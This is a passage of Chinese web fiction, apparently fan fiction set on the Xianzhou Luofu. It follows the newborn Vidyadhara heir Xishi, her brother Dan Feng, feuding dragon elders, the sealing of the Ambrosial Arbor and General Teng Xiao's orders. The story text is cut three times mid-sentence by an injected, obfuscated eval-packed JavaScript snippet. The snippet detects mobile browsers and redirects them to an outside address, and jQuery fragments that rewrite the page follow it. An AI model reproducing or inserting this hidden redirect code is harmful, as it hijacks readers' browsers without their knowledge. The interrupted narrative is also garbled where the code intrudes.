眼见龙师间出了嫌隙,溯光开始拉偏架:“各位长老别气了,这俩龙尊就是我行我素的主儿,他们要选谁,岂是我等能够支使的?只要他们兄妹能承担封印建木的重责,业师选不选的又有什么区别?” 矛盾不会消失,但是会转移,尤其是风浣,一来就看见汐识往丹枫那边拐,气血翻涌,差点当场因心梗化卵蜕生。 才过了一晚上,小少主就站队了龙尊。风浣气不打一处来,眼见还政于民的心愿无望,直接抄家伙跟溯光和韶英打了起来。 在涛然一口一个“临渊府内打打杀杀,成何体统”里,丹枫放下手中的卷轴,带汐识去看外面吵吵嚷嚷的众人。 片刻后,他冷着脸召出重渊珠,一挥手降服一个,借水流把风浣、韶英、雲光扔到了临渊府门口罚站。 “不愧是我英明神武的兄长大人。” 路过被罚站的三人,汐识不忘添一把火。 风浣朝两人看去。 丹枫如月孤高,与他同行的汐识面无表情地夸了他一句。 风浣:“……哼。” 少主大人看起来还救,言行不一,没有为权势地位所折腰。 反正丹枫不常在府里,他就不信没机会逮到汐识,好给她输入一番新思想的洗礼,直至让她彻底推翻龙尊传承和龙师议会制。 风浣安慰好了自己,闭上眼,等待罚站结束。 同样眼不见为净的还有韶英。 明宴素来关照持明幼子,心细如发,照顾少主大人也是情理之中的事情。但,雲光可是丹枫最信任的人,这意味着丹枫不打算对汐识下手。 持明族本就受仙舟照拂,可也有人不喜寄人篱下的生活,在外跟仙舟其他族的人说话都趾高气扬的。 他们焦虑于族内人丁日少,也苦于大权不再。 自她从波月古海出现,就没有不盯上汐识的人。 只不过,有的人盯上她的身份,有的人盯上她的来历,有的人盯上她和雨别的关系…… 龙师百人,各有所图。 “雲光别无所长,和韶英长老一同负责调遣管理护珠人,守护建木玄根封印四百载,也算称得上身经百战。今日有幸成为少主大人的业师,唯一身云吟术值得一提。既然丹枫大人有意将我指派给您,那,少主大人就应对师者心存敬意,不可……” 在风浣和韶英中间的是雲光。 他不在乎被安排到哪去,身为丹枫的维护者,丹枫说啥就是啥。 越听越不对劲,汐识追逐着对方话语里的傲慢,开口打断了他的指指点点:“持明族讲究‘前世贤契,来世蒙师’。我们就算了,反正也是我哥硬把你塞给我凑数的,就云吟术,还不知道谁教谁呢。” 心存敬意? 敬谁? 她没有忘记这群龙师在第一天和第二天的做派,也没忘记那晚上在古海遇见的龙师蜃影。 口口声声期待她成为持明的救星,却让她在第二天被忽视到挨饿了一天。 这个仇,她记下了。 丹枫答应教她云吟术,术法的幻化机制和愈伤方式确实值得一学,也没有人能比丹枫更配教她了。 此外,若说学习知识,学宫和潜渊阁都在等着汐识去。 简而言之,要不是为了给临渊府一个面子,她根本就不需要什么别的业师。 大庭广众之下被小少主拒绝得有理有据,雲光感到有几分崩溃,闭上嘴装死。 少主大人,她会平等地攻击每个敢于左右她的人。 顿时,气氛陷入诡异的沉默。 丹枫轻了下挑眉,朝汐识淡声道:“说完了?” 汐识点点头。 一通输出,心情放松。 丹枫没有表态,语气依然清冷:“嗯,那走吧。” 没有打圆场,便是默认了汐识的说法。 在一旁看热闹的其他龙师各有姿态,有的卷轴拿倒了还念念有词,主打一个假装忙碌。他们偶尔抬头瞅一眼丹枫,再低头打量桀骜不驯的小少主,然后面面相觑。 午后的临渊府,就这样变得安静和无趣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318905|199016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> * 鳞渊境,显龙大雩殿。 汐识半蹲在雨别雕像前,懒得理会如万年玄冰般冷酷的龙尊哥哥,反而抬手拨愣起花香淡雅的无尽汐。 旁边的丹枫在抬头望天。 他这种症状已经持续一刻钟了,也不知道能不能治。 丹鼎司洞天与鳞渊境相邻,来之前,遍布各洞天的民用电子信息屏即四方览镜里,显示着鳞渊境将有持续性大雨。 好巧不巧,汐识说了句“有点冷,不想被淋到”,于是进入洞天的下一秒,雨就奇迹般的停了。 她看向雨别,猜测丹枫和她一个想法。 哦,显灵了。 “好无聊啊,不如去抓点海洋朋友吃吧。” 比如,去找护珠人,他们会定期清理持明卵上的藤壶;或者跟波月古海喊话,要点鳞海星星什么的吃…… 丹枫无奈地看了她一眼,说:“我们是来办正事的,不是来玩的。” 汐识抬头跟他对视,耷拉着脑袋嘀咕道:“哦。当木头人也是正事吗?” 尖耳朵动了下,丹枫不好意思地轻咳一声。 汐识麻利地站起身,跟着他往建木玄根处走。 昨夜雲光来报,说封印有损,需要尽快重新编织。 以不朽的龙力遏制建木的根须蔓延,为建木再续数百年的平静,这就是罗浮龙尊被授予的使命。 两人御水竞速,来到玄根深处。 丹枫屏退了护珠人。 照正常流程,龙尊应身着华服,在显龙大雩殿舞雩吟诵,以负责祭祀礼仪的涛然为首,百名龙师如石墙所画的那样跪地祈求,以彰显不朽的恩赐——上祷于龙,必蒙垂听。 然而龙祖早已陨落,祭礼成为龙师做戏的幌子。 丹枫闭上眼,睁开后眼里有着前所未有的认真,让汐识跟着他念:“为止若木苏生,寿瘟遗祸。古海之水,奉龙尊号令,在此镇伏玄根。” 句子有点长。 汐识顿了顿,然后回忆着说:“为止若木苏生,寿瘟遗祸。古海之水,奉我号令,在此镇伏玄根。” 丹枫:“……” 好像哪里不对劲。 心念流转间,波月古海潮汐奔涌,洪波澹澹,沧浪席卷万里浮云,龙吟长啸。 一道白色的巨大水花伴随千重浪起,携深浅蓝色光点的海水冲向建木,环绕的雪蓝色龙灵若隐若现,转瞬便结成不朽的封印阵法。 顷刻间,龙灵冲天散去,天际从一片烟海掩盖下的海蓝色恢复了天蓝的模样,万水重新归于宁静。 丹枫眯了眯眼。 只是想带汐识来试试,没想到还真能成功。 持明族里,只有龙尊能化为龙形,以风雨雷电作为怒意的释放不朽的龙力。 但,不朽龙裔并非不朽。 高强度使用宛若神明的力量,往往会使龙尊不堪重负,直至失去自我。 最终的结果,历代龙尊的结局十有八九都是龙狂:分不清历代龙尊和自己的区别,成为神明屠戮众生的一副躯壳。 如何解决龙狂的龙尊?龙师有锁龙钉,须协力才能镇住发狂的龙尊,褫夺龙鳞,送奄奄一息的龙尊去蜕生。 丹枫如今是不至于陷入龙狂,只是前段时间的内伤没好全,突发奇想,决定拉着汐识试一试。 “没有有什么特殊的感觉?”丹枫停下思索,冷静出声,“比如,感到自己成为一只巨龙,或者整个洞天都在回应你?” 汐识看起来蔫了吧唧的,无辜脸摇摇头,“好像,有点困?” 不知怎地,开始晕乎乎的。 丹枫盯着她,四天大的汐小识吹着冷飕飕的海风,当即打了个喷嚏,紧接着身形一晃就晕过去了。 “……汐识?” 在她摔在地上前,丹枫伸手把人抱起来。 汐识趴在他肩上沉眠,再没有其它动静。 几经确认她呼吸正常,他眉间紧锁的愁容才逐渐散去。 “……抱歉,我没想到会这样。” 上午决定隐瞒真相和欺骗幼崽的感情,下午又把她推入水深火热的境地。 此刻,丹枫说不清心里是什么滋味。 不论如何,得先送她回府休息。 丹枫刚走出鳞渊境,迎面出现一名云骑军,显然对方已等候多时。 “丹枫大人。将军口谕,请您过去一趟。” 10. 第10章 夜色入户,澹月平砌。 汐识躺在柔软的床中,耷拉着耳朵在月光下沉睡。 本应先去将军府,丹枫挂念汐识安危,腾骁又让他不必急着前来,于是他先回了饮月府,在床前守了汐识好一会儿。 气血凝滞,体虚神散…… 按云华的说法,这个时辰她该醒过来了,但眼前的小龙女仿佛没有要睁眼的意思。 丹枫看向汐识。 这小家伙的气息时而平缓时而短促,龙角随呼吸浮动,眉心却舒展不开,唯肩上一缕红发为她皓洁的脸庞平添了几分血气,但也总让他不自觉多些难过的情绪。 方才云华来看过她,丹枫没透露汐识封印建木的事情,只说天冷风寒怕是着凉了。 云华是丹鼎司的司鼎,仁心仁德,不理族内纷争,论丹药医术在丹枫之上。经她切脉,诊断汐识的症状和长梦症表象类似,但又不太像。 血滞神散,许是陷入了什么可怕的梦境或心魔,需要她自己走出来。 丹枫安静地看着汐小识,如湖面平静的一双眸子曾见过九万夜的善恶,此刻却以一种复杂的目光观察着这位知之甚少的持明小祖宗。 需要走出来的梦境? 听起来更像龙狂前的征兆。 思忖片刻,他下了决定。丹枫帮她盖好被子,兀自低语:“我既已有承诺,在此世龙狂之前,便不会对你动手。” 而汐识没有任何回应。 关上房门,丹枫神色淡然,他低声交代门外的侍卫,让侍卫们等她醒过来备上些粥食,又嘱咐侍女熬上云华开的养神汤剂。 “沐昼呢?” “回龙尊大人,半年前他与龙师在鳞渊境发生争执,已经回归波月古海了。” “……嗯。” 在外一年半,物是人非。 此前丹枫接到腾骁将军的绝密任务,和镜流率队潜入步离帝国边境。 两军僵持不战,必有暗招游走。 果不其然,白珩执行斥候任务时,探到步离人在交战边境已埋下数千枚狼毒炸弹。 为减少云骑伤亡和振奋士气,曜青方需要有人能够悄无声息潜入敌方边境,把步离人在行军路线上埋的狼毒炮弹点位全部清理出来。 藏形匿影,这本事不是云吟独有的,曜青龙尊天风君的风幔术也可以做到。然,天风君率座下护珠人守望异动的胎动之月,这事非云吟术士莫属。 龙师阻拦,丹枫决意前往。 龙尊上战场,若有个万一可了不得,于是腾骁将军特派镜流同行。 可惜,云吟术隐藏得了身形和气息,却挡不住步离战首的月狂呼唤。 随行的青丘军战士里有个沦陷地解救出来的狐人,其血缘驳杂,受月狂呼唤而狂化觉醒了步离血脉。他负责领路,转眼间,就将丹枫一行人带往敌军所在兽舰。 亏得腾骁将军早有防范,暗中有卒子相助引路,使得丹枫和镜流杀出兽舰的绞噬重围,成功和青丘大军汇合。 上次丹枫去将军府接汐识,恰如汐识所言,将军不在将军府里。 这一次,丹枫不知道他会给出什么样的指令。 * 长乐天,将军府外。 正门两侧严兵把守,镜流从琴音不绝的若木亭走来,与姗姗来迟的丹枫打了个照面。 “不愧是受人敬仰的龙尊大人,真让人好等。”观赏瀑布激起的水流沾湿了她的小片衣袖,镜流浑然不在意,只是点头示意丹枫一起走。 “听侍卫长说你当起了业师,还真巧,我前日新收了个小弟子。” 丹枫目光在拿他打趣儿的女子身上一扫而过,淡淡出声:“那真不巧,我新收的是个小祖宗。” 听出他语气里的无可奈何,镜流倏地一笑。 “这倒是有意思。” “我这小弟子呢,尚在学宫,课业佼佼,喜好钻研古书棋道。我自认为他善于谋略,不适合习武,本想跟他父母一样劝他当个地衡司的学士或者云骑策士,平平安安就好,但他却坚持学剑,还问我为何用剑……” “当年遇见恩师,我也曾问过一样的问题。嗯,我将此视为机缘,便收下了他。” 作为苍城的遗孤,镜流也曾认为自己拿不起剑,可在力量惊人的怪物面前,为了活下去,幸存者只能拿起剑去御敌。 没有什么是生来注定的,也没有什么是一成不变的。 对仙舟天人而言,八九百岁时就会因各种各样的原因陷入魔阴身,躯体生出金叶,展现出极具破坏性的能力,人也变成缺乏灵智的杀戮孽物。因此,为防止魔阴祸乱正常人的生活,仙舟有十王司划定生死。 负责梦占罪业的判官占定魔阴期限,并提前派冥差引接半步魔阴者步入幽府。 云骑见多了战事生死,是最容易出现魔阴的群体。距苍城覆灭已经近千年,如今的镜流心志依然,并无魔阴征兆。 丹枫与她相视一眼,轻叹了一声,往将军府走去。 “我这位小祖宗天分极强,倒是很适合习武。只是她行为过于孤傲,说话出其不意,龙师也拿她没办法……但今早,我却见她对屋檐外淋雨的小鸟呵护备至,比对旁人来的耐心得多,实在让人不知道她的小脑袋瓜在想些什么。” 镜流闻言好奇,脸上绽着感兴趣的笑容,问:“连你都感到头疼吗?” “不过,听起来你这位小祖宗很有自己的主意。能在那群巧舌如簧的龙师照顾下保持自己的判断,这份心性倒是难得。” 听罢,丹枫点点头,又开始叹气:“还是先送去学宫吧。多接触些同龄人,对她这个年纪有所裨益。” 是个能折腾的性子,且折腾的往往是对她有所图的人。 * 将军府。 两人到时,将军府内的同僚几乎都已回家,只有轮值的云骑在两侧守卫安全。 身为六御中人,名义上皆有双休。 事实上,这些年面对丰饶联军对仙舟的各种挑衅,罗浮六御的领导人,六个里面有五个是周六保证不休息和周日休息不保证,还有一个是全年无休的地衡司。 腾骁盘腿席地而坐,将手掌伏在一方浅蓝色投影式的巨型棋盘上,正自运筹推演。 身为帝弓天将,腾骁定国安邦,性格刚毅果敢、勇武可靠,不仅以个人武力出名,论战场上的排兵布阵和坐镇指挥也鲜有人能及。 在罗浮上,常有说书人传诵他歼灭大敌的事迹。 视线所及之处,腾骁穿着轻简戎装,身形高大英挺,静坐时又不失君子风度。 他自带高位者难掩的压迫感,面容却带从容豪气,唯有低头望向模拟战棋时,那双赤色双眸中才会燃烧起沉静的野心。 面前的棋兵为前中后三军与左右翼两军,阵型时方时圆,整个兵阵攻守兼于一体,号令有序。 布兵排阵,煞是讲究。在多如洪水的敌方骑兵和战兽面前,云骑中军战力未损分毫。 只是,多少有些被动了。 见棋盘边上出现两抹长长的黑影,腾骁抬头,目光微惊,随后气定神闲道:“呵,你们可算来了。” 丹枫和镜流点点头,等着新一轮任务的发布。 带人到殿陛之上的平台,腾骁没有做多余的寒暄,站立在将案前,单手叉起腰,直截了当挑明了话题: “据曜青斥候最新情报,步离帝国内部正经历改朝换代,新上任的战首名为呼雷,具体实力未知。” “今早接到黄钟共鸣消息,玉阙仙舟的瞰云镜扫视到步离兽舰群的踪迹。那群狼崽子几经仙舟挫败,无意与我等再开战事,反而先把目标瞄准了曜青侦查距离光年外的边陲小国。” “地衡司的学士博闻强识,联合善宏学宫的学者一直在考据步离语言与文化。据他们推测,新任战首此举是为了超越历代王者,扩大血腥的疆土,以战功立名,从而巩固族中地位……” “怕是早晚,我们和他还会有一场恶战啊。” 镜流经历过故乡苍城仙舟的覆灭,对丰饶孽物最是痛恨,她率先表态:“我等云骑,追随帝弓司命巡猎丰饶,卫蔽仙舟。而今敌人狡猾,欲暂避仙舟锋芒,不可不防。” “仙舟联盟与银河风雨同舟,况且,我们云骑有能力也有义务去协助诸星,帮他们剿灭这些烧杀抢掠的孽物!” 步离人并非只是四肢发达的不死孽物,为打赢仙舟,用过的各种手段阴的很。 丹枫认可两人的判断,适时开口:“若将军准允,我也愿前往相助。” “省省吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318906|199016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你又去,你们家龙师还不得跟咱们将军拼命?”镜流瞥了他一眼,冷声反问。 案上公文如山,前几日呈递的文书一动未动,上面标着临渊府的印信。 “我还没说让你们去曜青支援,怎得一个个如此积极?”腾骁轻笑着抬手,以眼神示意这一言不合的架势得及时停下。 镜流轻咳一下,“将军,白珩她,她怎么还没回来?” “按传来的航行日志,应该是明早到玉界门。”腾骁笑着回她。 “自你们拔除步离人的设陷,曜青将军连战大捷,特让我们罗浮休养生息。眼下地衡司来报,说是洞天一年内出现数十起人口失踪案,太卜司的穷观阵占卜失效,此事侦查的执事们也毫无头绪,特请云骑军加强洞天防守。” “我想着你们该休息一段时间,又生怕你们闲不下来,便替两位接了这差事。” 丹枫和镜流点点头,应下这桩差事。 腾骁摸了摸下巴,继续说:“不过吧,咱们罗浮这边还有件更棘手的事。” 丹枫做了一个请的手势,问腾骁什么事情如此头疼。 腾骁只说了两个字:“建木。” 话音刚落,一阵彻骨寒凉的夜风袭来,案牍库的屏风应声倒下。 腾骁不再多言。 半晌,他手中紧握着兵符,把它盖在刚写好的调动文书上,直接递给了镜流。 腾骁嘱咐她:“镜流,你负责星槎海、流云渡和迴星港区域,我授予你于洞天内便宜行事之权,自由调遣云骑诸队。若有所需,天舶司会配合你的一切行动。 “谨遵钧令,镜流当不辱所托。”镜流垂首,接过属于她的新任务,神色三分高兴四分认真还有三分惯性的冷淡。 说完,她转身去天舶司找伏苍司舵,走得很是干脆。 天舶司里有即将归来的白珩,镜流和她是知己好友,配合作战时相当默契。既然得知好友明日抵达罗浮的消息,她心中自然欢喜。 将军府里除了驻守的卫士,就只剩下腾骁和丹枫。 丹枫停顿了一会儿,见顶头上司迟迟没有给自己派活,目光触及临渊府的公文时轻微闪动,淡声道:“将军不必介怀我的身份,有事安排即可。毕竟,现如今的龙尊不止我一个。” 据云骑回禀,丹枫带着汐识去了趟鳞渊境。念及此,腾骁带着不解的神色,问道:“你是说,她能够……” 丹枫点点头。 只是汐识才蜕生四天,为封印建木骤然发力,忽然昏过去了。 “仙舟危则持明亡,现阶段,联盟安危在我持明之上。避强就虚,养精蓄锐,呵,照此情形,步离人一定会再度发难。” “若我未来难敌对手,在新一轮蜕生前,我会让她成为制衡龙师的人。” 腾骁将军迟疑着点点头,让丹枫不要打草惊蛇,怀疑后面还有别的动静,而他会找时机亲自会会汐识。 那孩子的性子相当与众不同,这一年他时有留意。 腾骁回头走到棋盘前,暗自思量。 云骑与孽物交战千年,而今用兵被动,是因为缺了一只奇袭敌军的队伍…… 等丹枫走后,殿前又一阵怪风吹来。 长风附在半透明的青色幕帘上,同月影摇曳,府中守卫们悉数眼神空洞,如堕梦中。 腾骁负手走向案牍库,隔着几排案柜,对无人处漠然开口: “单方面的不期之约,已是无礼,又于府内主人前藏形匿迹,这就是岁阳一族的拜会之道?” 他停住步伐,高大的影子顺着月光投在将军府的地板上。 一阵欢快的笑声在殿中回响,忽而无人处出现一抹碧色火光。 它形似一团圆形大眼,周身散发着煌煌荧荧的青绿色火光,乍一看煞是骇人。 转瞬间,它又跳到演武的星阵棋上,打量着面前英武不凡的白发男子,幽幽笑道:“吾未曾通报而登堂入室,有失礼仪,请将军宽宥。” “今日前来是为告诉将军,我家主人想见将军。” 它的笑声摄人心神,回音绕梁不绝,只闻其音,不见其底。 腾骁居高临下地望着它,大手一挥,驱散了岁阳摄人心神的小伎俩。 “那就拿出你们主人的诚意来。” 11. 第11章 成为持明少主的第五天。 本以为会见到龙师和龙尊僵持的场景,今早来临渊府左看右看,只见龙师异常安静。 如果他们的视线不盯着丹枫和汐识不放的话,或许汐识还想上前折腾几个忙碌的族人。 而现在,她从书堆里探出头,随手借了一只浮羊毫笔,透明的笔盖帽上还是形如绒球的浮羊绘图。 汐识坐在丹枫对面,眼中燃着好奇的小火苗,朝着黉学习题册发起气势汹汹的进攻。 一大早从床上蹦起来,就跟丹枫大眼瞪小眼,洗漱吃饭喝药再漱口一气呵成,然后迷迷糊糊被拉去地衡司总务府。 勤务人员是个漂亮利落的狐人姐姐,先是带她采集生物信息,又给了个用于仙舟户籍管理的玉兆手镯,最后开通星槎乘坐权限。 一套流程下来行云流水,没有像龙师一样的多余问候。 作为仙舟的庶务管理机构,地衡司管的事情相当多。其工作人员的职责,上至应急救灾、户籍管理、历法计时、资源配置以及社会生态地理文学等学术研究,下至案件办理、调解纠纷、寻回宠物等等黎民琐事。 严谨,才是地衡司正确的工作态度。 仙舟联盟人口高达万亿,汐识看得出这个勤务姐姐对业务相当熟练。 初春微凉,风清露爽,尽管仙舟洞天风景花树常驻,但风雨台最初的出现就是为了摆脱长生种日复一日的无趣,故而还是有些季节与温度差别的。 踏出地衡司的大门后,两人脚下的步伐未曾停住。 丹枫带她去黉学报道。 黉学,仙舟幼子学习的地方,教书先生负责教习的内容多是基础学科常识与生活认知。比如:识文断字,礼乐认知,仙舟传统曲艺观赏,仙舟联盟历史基础,物理力学入门,算数基础,银河星神与命途普及读本,射御之术…… 通过黉学的升学考试,可以升入学宫。 黉学导师听说两人来意,当即打开类似四方览镜的教务系统蓝屏,指导汐识利用玉兆手镯登记学籍和报名升学考试。 仙舟不乏精于学习之道的小孩子,为了不蹉跎他们的成长,黉学规定学童可以在每学期初和期末申请参加学宫升学考试。 此外,射御是古国时代流传下的六艺内容,也是仙舟民信仰帝弓司命的武德体现。在仙舟人的成年礼时,父母皆会送箭矢给狩猎成功的孩子。 黉学对幼童的射御要求不高,能乘坐退役战兽发中一箭就是合格,因此,从黉学跳级到学宫者不在少数。 对汐识而言,认字什么的当然不在话下。 至于其他的,用持明少主的聪慧脑袋去学习一门新学科,一小时内速通一门是理所应当的事情。 简而言之,丹小枫还是太低估他祖宗的潜力了。 汐识想着,合手放下毛笔和写完的大半习题册,懒懒伸展了下四肢。 发呆一会儿后,她拿了几根羽毛笔将其摆成一排,眨巴了下眼睛,把它们摞成一竖列然后再推倒,玩得不亦乐乎。 昨天睡得很沉,早上醒来时,脑海里只残余一个模糊的画面。 这次没有雨别,仅仅有波月古海和无尽汐。 它们不会说话,对她也没有什么要成为持明族希望的期待,只会一起静静陪伴她的安眠。 一望无际的古海,它是一个远比陆地上要安心得多的地方。 日光渐烈,室照洞然。窗牗之下有一香炉,瑞烟四起,燃的是安神散、波月薄荷、鳞渊朝露配制的焚香,闻起来心神舒畅。 龙师们呈上需要龙尊决策和盖章的卷轴文书,看着一大一小两个主子的友好相处模样,一个个双眼憔悴,两步一回头地陆续离开。 刺眼的烈日光芒透过窗棂,太阳落于尘世的影子逐渐映到翻看的文字上,丹枫略有不悦地皱了下眉。 汐识也察觉不适,站起来麻利地把透光但不刺眼的月白纱帘拉上,确定严丝合缝才满意地点了点头,然后回到座椅上。 片刻后,她抽出一本基础运算书,翻了没两页又合上。 别说羽毛笔了,连半根羽毛也没用上。 对面的墨发男子没有看见她的举动,依然默不作声,神色清冷如寒月,处理公文起来迅速有序。 汐识一脸乖巧坐在木椅上,将羽毛笔收拾好放在笔筒里,再把下巴搁在堆高高的习题上,明目张胆地盯着丹枫看。 叛逆小龙安静起来必有妖。 没听见她写字时的沙沙声,丹枫抬起头,环顾无龙师后才下意识地按了按眉心。 他向着长着两只雪蓝色龙角的小书堆处愣了会儿,然后才开口问:“这么快都做完了?” 这些习题册一半是理论知识,一半是题目,只要看懂了基础,题目都是翻页时顺手的事儿。 丹枫相信,她能一上午创造一个奇迹。 “我有不明白的地方。”汐识摇了摇头,从桌上拿了两个桃子摆在运算册上给他看,小脸带着恹恹不乐的郁闷。 “嗯?”丹枫轻皱眉,表示真的理解不了看图说话。 汐识伸出手指头指了指最上面的数学加法介绍,解释道:“这个,看得懂又看不懂。” 丹枫不知道从哪开始给她解释,看了眼窗外的日光,决定在带她去用午膳前翻几页给她讲讲。 他拿过书和上面的桃子,看到了正章第一页。 “1加1等于几?” 汐识即答:“1!” 丹枫被她的自信吓得眼皮一跳,只得叹口气:“……要不你去蜕生吧,这一世的脑袋不太好使。” 汐识冷漠地哦了一声,再次把两个水灵灵看起来很好吃的粉白色桃子放他面前,问他:“桃子和桃子加起来是不是还是桃子?” 丹枫点点头。 汐识追问:“那,1和1加起来为什么不是1?” 丹枫:“……” 好问题。 “因为运算的本质是问有几个1,两个1相加,即一个1加一个1等于两个1。如果你问2加2为何等于4,那么我会告诉你,两个1加两个1等于四个1。这只是个数量关系。”并非哲学本质的思辨问题。 说完,丹枫神色微异。 这家伙追本溯源的精力丰沛到让人差点招架不住。 自雨别起,历代龙尊威烈不改,多有自己的坚持和疑问,不会因为他人的眼光而妥协于表面上的和平。坦白说,面前这位小祖宗倒是和他很像。 正因如此,他才会选择汐识去制衡龙师。 汐识思考了一会儿,脆声说:“所以乘法就是,1乘1等于一个1相加,2乘2等于两个2相加……哦,我完全明白了!” 盯着对面的人疑惑了几秒后,丹枫嗯了一声。 他平静地望了眼中恍然的汐小识,不管她是怎么从加法一跃到乘法的,总之她看起来很高兴。 “举一反三,你理解的很快。”丹枫又说,“5加6等于多少?” “十一个1!” 太好了不用去蜕生了。 汐识双手一摊,仿佛在问这种简单的事情为什么要问我。 丹枫:“……嗯。” 很好,她已经完全忘记了那个三分钟前还纠结于加减法为什么不是哲学问题的自己。 饭后,丹枫有事外出,留汐识一个人在临渊府里跟习题册斗智斗勇。 午后的殿影逐渐移到石阶的另一侧。 龙师一个接一个地进进出出,有的喊着票据到期了赶紧催,有的预定星槎拿着材料去地衡司,还有的人怀里抱着盗取鳞渊天冬的犯人资料交给龙师风浣。 “风浣长老,这个化外民是博识学会派来和丹鼎司交流合作的药商,您看这,这……” 一族人卑躬垂首,对着掌握族内刑罚大权的风浣支支吾吾。 闻言,风浣横眉冷对:“博识学会又怎么样?盗采天冬,照样幽囚押送!” 仙舟上的药材不同寻常,多为建木还在时流传下来的奇特植物,它们效力比起一般药材,更像是某种奇迹。鳞渊天冬生长于波月古海的海滨,因药效可愈合肺部损伤,时常受到他人盗采。 风浣接过犯人的资料,很快拟定一份幽囚通传令,盖好官章。他见身后人恋恋不舍跟着他,懒得搭理对方,直接去正殿找丹枫,打算来一招祸水东引。 “可人家毕竟是星际和平公司那边的人,公司以存护星神的名义保护银河,又以贸易之名掌控着上万颗星球,咱们何故因为一个小小的药商跟他们撕破脸皮呢?” “出错的是他们,我们不讹上他们已经是网开一面了,怎能如此吃里扒外!仙舟也是数一数二的银河势力,谁还没个星神保护了?我看你也是老了不中用了,竟然做出这般可耻的小人姿态!” “风浣,你!我也为了持明族的利益啊!” …… “怎么又吵起来了?” 刷题刷上瘾的汐识跑去学书架上的代数题,手上拿了一支霞色羽毛笔在米白纸上写写画画,但耳边传来的聒噪声让人心中不喜。 “唉,我可怜的族人们,你们就不能温声细语地吵个架吗?” 也没看来的是谁,汐识手中的羽毛笔悬在半空,盯着可爱的数字们顿了片刻,她刻意扬声道:“不要吵架,谁打扰我,就去门外罚站一个时辰!” 话音刚落,来人纷纷惊眩,互相比了比眼神,并尽量保持镇定的客气。 “少主大人,丹枫大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318907|199016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人去哪儿了?” 今日尤善解答,面对族人的疑问,汐识轻轻地回了一句:“哦,他去鳞渊境找雲光了。” 两人话到嘴边却说不出口,看得汐识想赶人出去。 “有事就说,没事就出去。哦,我哥不在,我在也一样。” 汐识转身侧头,朝他们冷冷瞥了一眼。 那一眼,看的两人出现一种错觉,竟然觉得她这个五天大的小娃娃真能理清纠纷。 汐识也好丹枫也罢,横竖亏不着他。于是风浣坚持自己的原则,开始向汐识解释事情的来龙去脉。 思考了一会儿,汐识目光一转,朝低眉顺眼的族人问道:“你多大了?” 老者愣了下,面上带着不理解,微微低下头思索了一会儿,小心翼翼道:“属下不才,五百有八,还差二十年就能退休了。” “哦,怪不得。”汐识双眸淡然,似是完全理解了这场吵架的起因,“人老了眼神不太好使,但总该要知道什么是利,什么是害。” 此言一出,旁边的风浣忍不住点点头附和。 族人噤若寒蝉,风浣见他打了个冷颤,忍不住轻啧一声。 “少主大人教训的是,此事是我考虑不周,实在是——” 汐识半抬手,打断了他的搪塞托词。 “你哪里是考虑不周,你可是考虑的太周全了。” “可周全未必都是好事。仙舟、公司、博识学会、持明族,想让每一方都满意,在牺牲一方利益的前提下,这种事情是不会得到彻底解决的。” 风浣一脸幸灾乐祸,继续说:“持明族的天冬长在仙舟的洞天内,公司签订药材互贸合同,又派学者商人交涉留驻。依我看,就该杀鸡儆猴,以后也给护珠人少惹点麻烦事。” 他和雪浦同掌持明族内刑罚,互相牵制,而这个族人是雪浦的下属。 老者不再坚持自己的想法,拱手行礼后连忙撤退,完全不想和难缠的小少主继续对上,走的很是干脆。 “你等等。”眼见风浣也要溜之大吉,汐识瞧着就不顺心,“你打扰我了,得去罚站。” “啊?凭什么他就不用罚站!”青年隽秀的脸庞上写满了不服,这种丢人的事情患寡而不患均,他指着门外快要看不到的影子,终究还是把心底的话一股脑摆了出来。 “哦,没来得及告诉他。那你们明早一起罚站一个时辰,好了吧?” 汐识懒得再理他,坐回座位上,回顾起感情渐笃的数学题。 这数学,真的是越学越有数。 和上午库库刷文史题的感觉一样,不过不需要写太多字,这学科是挺会心疼人类的手腕的。 话音刚落,原本愤怒的风浣顿时变得结巴,但心中觉得不妥,还是想找她理论几句。 半小时后,他因理论不成反倒再度打扰了汐识的进步,被她冷着脸用云吟术扔到了临渊府门口。 龙师毕竟是龙师,高高在上惯了,况且他真的不想连着两天都罚站。 风浣据理力争之下,汐识跟他公平切磋。 丹枫回来时,只看到他的小祖宗和龙师中的叛逆青年在临渊府大打出手。 ……准确来说,更像是拆家。 打的那叫一个上房揭瓦,像云骑校场里的入伍新人那般不分胜负誓不罢休。 尤其是两人都是云吟术的高手,眼里互相不屑,但又闪着越打越来劲的挑衅。 汐识化水成刃,将风浣甩过来的大水缸“砰”的一声击碎。 她在飞檐上游走,眨眼间腾空闪到风浣面前,水波撼动的气浪滚滚而来,精准锁定对方的位置。 